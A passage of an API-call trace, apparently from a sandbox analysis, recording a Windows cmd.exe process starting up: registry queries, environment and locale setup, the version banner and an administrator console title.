() returned 0x7d4 [0150.122] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x7d4) returned 0x70 [0150.122] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff5ce90000 [0150.122] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="SetThreadUILanguage") returned 0x7fff5ceaa990 [0150.122] SetThreadUILanguage (LangId=0x0) returned 0x409 [0150.942] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0150.942] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x278cbafc68 | out: phkResult=0x278cbafc68*=0x0) returned 0x2 [0150.942] VirtualQuery (in: lpAddress=0x278cbafc54, lpBuffer=0x278cbafbd0, dwLength=0x30 | out: lpBuffer=0x278cbafbd0*(BaseAddress=0x278cbaf000, AllocationBase=0x278cab0000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0150.942] VirtualQuery (in: lpAddress=0x278cab0000, lpBuffer=0x278cbafbd0, dwLength=0x30 | out: lpBuffer=0x278cbafbd0*(BaseAddress=0x278cab0000, AllocationBase=0x278cab0000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0150.942] VirtualQuery (in: lpAddress=0x278cab1000, lpBuffer=0x278cbafbd0, dwLength=0x30 | out: lpBuffer=0x278cbafbd0*(BaseAddress=0x278cab1000, AllocationBase=0x278cab0000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0150.942] VirtualQuery (in: lpAddress=0x278cab4000, lpBuffer=0x278cbafbd0, dwLength=0x30 | out: lpBuffer=0x278cbafbd0*(BaseAddress=0x278cab4000, AllocationBase=0x278cab0000, AllocationProtect=0x4, __alignment1=0xffff830e, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0150.942] VirtualQuery (in: lpAddress=0x278cbb0000, lpBuffer=0x278cbafbd0, dwLength=0x30 | out: lpBuffer=0x278cbafbd0*(BaseAddress=0x278cbb0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff830e, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0150.942] GetConsoleOutputCP () returned 0x1b5 [0151.939] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff743a8fbb0 | out: lpCPInfo=0x7ff743a8fbb0) returned 1 [0151.940] SetConsoleCtrlHandler (HandlerRoutine=0x7ff743a78150, Add=1) returned 1 [0151.941] _get_osfhandle (_FileHandle=1) returned 0x254 [0151.941] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff743a8fc04 | out: lpMode=0x7ff743a8fc04) returned 0 [0151.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0151.941] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff743a8fc00 | out: lpMode=0x7ff743a8fc00) returned 0 [0151.941] _get_osfhandle (_FileHandle=1) returned 0x254 [0151.941] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0151.941] _get_osfhandle (_FileHandle=1) returned 0x254 [0151.941] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff743a8fc08 | out: lpMode=0x7ff743a8fc08) returned 0 [0151.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0151.942] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff743a8fc0c | out: lpMode=0x7ff743a8fc0c) returned 0 [0151.942] GetEnvironmentStringsW () returned 0x215179b5c20* [0151.942] GetProcessHeap () returned 0x215179b0000 [0151.942] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xc98) returned 0x215179b68c0 [0151.947] FreeEnvironmentStringsA (penv="A") returned 1 [0151.947] GetProcessHeap () returned 0x215179b0000 [0151.947] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x8) returned 0x215179b7560 [0151.947] GetEnvironmentStringsW () returned 0x215179b5c20* [0151.947] GetProcessHeap () returned 0x215179b0000 [0151.947] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xc98) returned 0x215179b7580 [0151.948] FreeEnvironmentStringsA (penv="A") returned 1 [0151.948] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x278cbaeb18 | out: phkResult=0x278cbaeb18*=0x7c) returned 0x0 [0151.949] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x0, lpData=0x278cbaeb30*=0x4, lpcbData=0x278cbaeb14*=0x1000) returned 0x2 [0151.949] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x1, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.949] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x0, lpData=0x278cbaeb30*=0x1, lpcbData=0x278cbaeb14*=0x1000) returned 0x2 [0151.949] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x0, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.949] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x40, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.949] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x40, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.949] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x0, lpData=0x278cbaeb30*=0x40, lpcbData=0x278cbaeb14*=0x1000) returned 0x2 [0151.950] RegCloseKey (hKey=0x7c) returned 0x0 [0151.952] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x278cbaeb18 | out: phkResult=0x278cbaeb18*=0x7c) returned 0x0 [0151.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x0, lpData=0x278cbaeb30*=0x40, lpcbData=0x278cbaeb14*=0x1000) returned 0x2 [0151.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x1, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x0, lpData=0x278cbaeb30*=0x1, lpcbData=0x278cbaeb14*=0x1000) returned 0x2 [0151.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x0, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x9, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x4, lpData=0x278cbaeb30*=0x9, lpcbData=0x278cbaeb14*=0x4) returned 0x0 [0151.952] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x278cbaeb10, lpData=0x278cbaeb30, lpcbData=0x278cbaeb14*=0x1000 | out: lpType=0x278cbaeb10*=0x0, lpData=0x278cbaeb30*=0x9, lpcbData=0x278cbaeb14*=0x1000) returned 0x2 [0151.952] RegCloseKey (hKey=0x7c) returned 0x0 [0151.952] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee34564 [0151.952] srand (_Seed=0x5ee34564) [0151.952] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0151.952] malloc (_Size=0x4000) returned 0x215179a5730 [0151.952] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0151.952] malloc (_Size=0xffce) returned 0x21517b80080 [0151.953] ??_V@YAXPEAX@Z () returned 0x21517b80080 [0151.953] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21517b80080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0151.953] malloc (_Size=0xffce) returned 0x21517b90060 [0151.953] ??_V@YAXPEAX@Z () returned 0x21517b90060 [0151.954] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21517b90060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0151.954] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0151.954] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0151.954] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0151.954] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0151.954] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0151.954] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0151.954] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0151.954] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0151.954] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0151.954] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0151.954] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0151.954] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0151.954] GetProcessHeap () returned 0x215179b0000 [0151.954] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b68c0) returned 1 [0151.954] GetEnvironmentStringsW () returned 0x215179b8220* [0151.954] GetProcessHeap () returned 0x215179b0000 [0151.954] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xcb0) returned 0x215179b5c50 [0151.954] FreeEnvironmentStringsA (penv="A") returned 1 [0151.954] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0151.954] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0151.954] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0151.954] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0151.954] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0151.954] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0151.954] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0151.954] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0151.954] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0151.954] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0151.954] malloc (_Size=0xffce) returned 0x21517ba0040 [0151.955] ??_V@YAXPEAX@Z () returned 0x21517ba0040 [0151.955] GetProcessHeap () returned 0x215179b0000 [0151.955] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x40) returned 0x215179b6910 [0151.955] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21517ba0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0151.955] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x21517ba0040, lpFilePart=0x278cbaf690 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x278cbaf690*="Desktop") returned 0x17 [0151.955] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0151.956] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x278cbaf3c0 | out: lpFindFileData=0x278cbaf3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x215179b6960 [0151.956] FindClose (in: hFindFile=0x215179b6960 | out: hFindFile=0x215179b6960) returned 1 [0151.956] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x278cbaf3c0 | out: lpFindFileData=0x278cbaf3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x215179b6960 [0151.956] FindClose (in: hFindFile=0x215179b6960 | out: hFindFile=0x215179b6960) returned 1 [0151.956] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x278cbaf3c0 | out: lpFindFileData=0x278cbaf3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x6da48afd, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x6da48afd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x215179b6960 [0151.956] FindClose (in: hFindFile=0x215179b6960 | out: hFindFile=0x215179b6960) returned 1 [0151.956] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0151.956] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0151.956] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0151.956] GetProcessHeap () returned 0x215179b0000 [0151.956] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b5c50) returned 1 [0151.956] GetEnvironmentStringsW () returned 0x215179b0fc0* [0151.956] GetProcessHeap () returned 0x215179b0000 [0151.956] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xce8) returned 0x215179b8f10 [0151.958] FreeEnvironmentStringsA (penv="=") returned 1 [0151.958] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21517b80080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0151.959] GetProcessHeap () returned 0x215179b0000 [0151.959] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b6910) returned 1 [0151.959] ??_V@YAXPEAX@Z () returned 0x1 [0151.960] ??_V@YAXPEAX@Z () returned 0x1 [0151.960] GetProcessHeap () returned 0x215179b0000 [0151.960] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x4016) returned 0x215179b9c00 [0151.960] GetProcessHeap () returned 0x215179b0000 [0151.960] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b9c00) returned 1 [0151.960] GetConsoleOutputCP () returned 0x1b5 [0152.958] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff743a8fbb0 | out: lpCPInfo=0x7ff743a8fbb0) returned 1 [0152.958] GetUserDefaultLCID () returned 0x409 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff743a8bb78, cchData=8 | out: lpLCData=":") returned 2 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x278cbafa50, cchData=128 | out: lpLCData="0") returned 2 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x278cbafa50, cchData=128 | out: lpLCData="0") returned 2 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x278cbafa50, cchData=128 | out: lpLCData="1") returned 2 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff743a8bb68, cchData=8 | out: lpLCData="/") returned 2 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff743a8bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff743a8bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff743a8ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff743a8ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff743a8ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff743a8b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff743a8b980, cchData=32 | out: lpLCData="Sun") returned 4 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff743a8bb58, cchData=8 | out: lpLCData=".") returned 2 [0152.959] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff743a8bb40, cchData=8 | out: lpLCData=",") returned 2 [0152.959] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0152.960] GetProcessHeap () returned 0x215179b0000 [0152.960] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x0, Size=0x20c) returned 0x215179b1030 [0152.960] GetConsoleTitleW (in: lpConsoleTitle=0x215179b1030, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0153.903] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.903] GetFileType (hFile=0x254) returned 0x3 [0153.904] ApiSetQueryApiSetPresence () returned 0x0 [0153.904] ResolveDelayLoadedAPI () returned 0x7fff5404d990 [0153.906] BrandingFormatString () returned 0x215179b1520 [0153.910] GetVersion () returned 0x3ad7000a [0153.910] _vsnwprintf (in: _Buffer=0x278cbafbb0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x278cbafb48 | out: _Buffer="10.0.15063") returned 10 [0153.910] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.910] GetFileType (hFile=0x254) returned 0x3 [0153.910] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff743a97f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0153.911] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff743a97f60, nSize=0x2000, Arguments=0x278cbafb50 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0153.911] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.911] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0153.911] WriteFile (in: hFile=0x254, lpBuffer=0x7ff743a89970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x278cbafaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesWritten=0x278cbafaa8*=0x26, lpOverlapped=0x0) returned 1 [0153.911] _vsnwprintf (in: _Buffer=0x7ff743a97f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x278cbafb78 | out: _Buffer="\r\n") returned 2 [0153.911] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.911] GetFileType (hFile=0x254) returned 0x3 [0153.911] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.911] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0153.911] WriteFile (in: hFile=0x254, lpBuffer=0x7ff743a89970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x278cbafb48, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesWritten=0x278cbafb48*=0x2, lpOverlapped=0x0) returned 1 [0153.911] _vsnwprintf (in: _Buffer=0x7ff743a97f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x278cbafb78 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0153.911] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.911] GetFileType (hFile=0x254) returned 0x3 [0153.911] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.911] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0153.911] WriteFile (in: hFile=0x254, lpBuffer=0x7ff743a89970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x278cbafb48, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesWritten=0x278cbafb48*=0x34, lpOverlapped=0x0) returned 1 [0153.911] _vsnwprintf (in: _Buffer=0x7ff743a97f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x278cbafb78 | out: _Buffer="\r\n") returned 2 [0153.911] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.911] GetFileType (hFile=0x254) returned 0x3 [0153.911] _get_osfhandle (_FileHandle=1) returned 0x254 [0153.911] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff743a89970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0153.911] WriteFile (in: hFile=0x254, lpBuffer=0x7ff743a89970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x278cbafb48, lpOverlapped=0x0 | out: lpBuffer=0x7ff743a89970*, lpNumberOfBytesWritten=0x278cbafb48*=0x2, lpOverlapped=0x0) returned 1 [0153.912] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff5ce90000 [0153.912] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="CopyFileExW") returned 0x7fff5ceae830 [0153.912] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="IsDebuggerPresent") returned 0x7fff5ceae300 [0153.912] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="SetConsoleInputExeNameW") returned 0x7fff59f20a40 [0153.912] ??_V@YAXPEAX@Z () returned 0x1 [0153.912] _get_osfhandle (_FileHandle=0) returned 0x248 [0153.912] GetFileType (hFile=0x248) returned 0x3 [0153.912] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0153.912] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x278cbaf9b8 | out: TokenHandle=0x278cbaf9b8*=0x0) returned 0xc000007c [0153.912] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x278cbaf9b8 | out: TokenHandle=0x278cbaf9b8*=0x98) returned 0x0 [0153.912] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x278cbaf968, TokenInformationLength=0x4, ReturnLength=0x278cbaf970 | out: TokenInformation=0x278cbaf968, ReturnLength=0x278cbaf970) returned 0x0 [0153.912] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x278cbaf970, TokenInformationLength=0x4, ReturnLength=0x278cbaf968 | out: TokenInformation=0x278cbaf970, ReturnLength=0x278cbaf968) returned 0x0 [0153.912] NtClose (Handle=0x98) returned 0x0 [0153.912] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x278cbaf980, nSize=0x0, Arguments=0x278cbaf988 | out: lpBuffer="ኀលȕ") returned 0xf [0153.914] GetProcessHeap () returned 0x215179b0000 [0153.914] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x218) returned 0x215179b6b70 [0153.915] GetConsoleTitleW (in: lpConsoleTitle=0x278cbaf9d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0154.389] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0154.390] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0155.321] GetProcessHeap () returned 0x215179b0000 [0155.321] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b6b70) returned 1 [0155.321] LocalFree (hMem=0x215179b1280) returned 0x0 [0155.324] _vsnwprintf (in: _Buffer=0x7ff743a97f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x278cbaf7f8 | out: _Buffer="\r\n") returned 2 [0155.324] _get_osfhandle (_FileHandle=1) returned 0x254 [0155.324] GetFileType (hFile=0x254) returned 0x3 [0155.324] 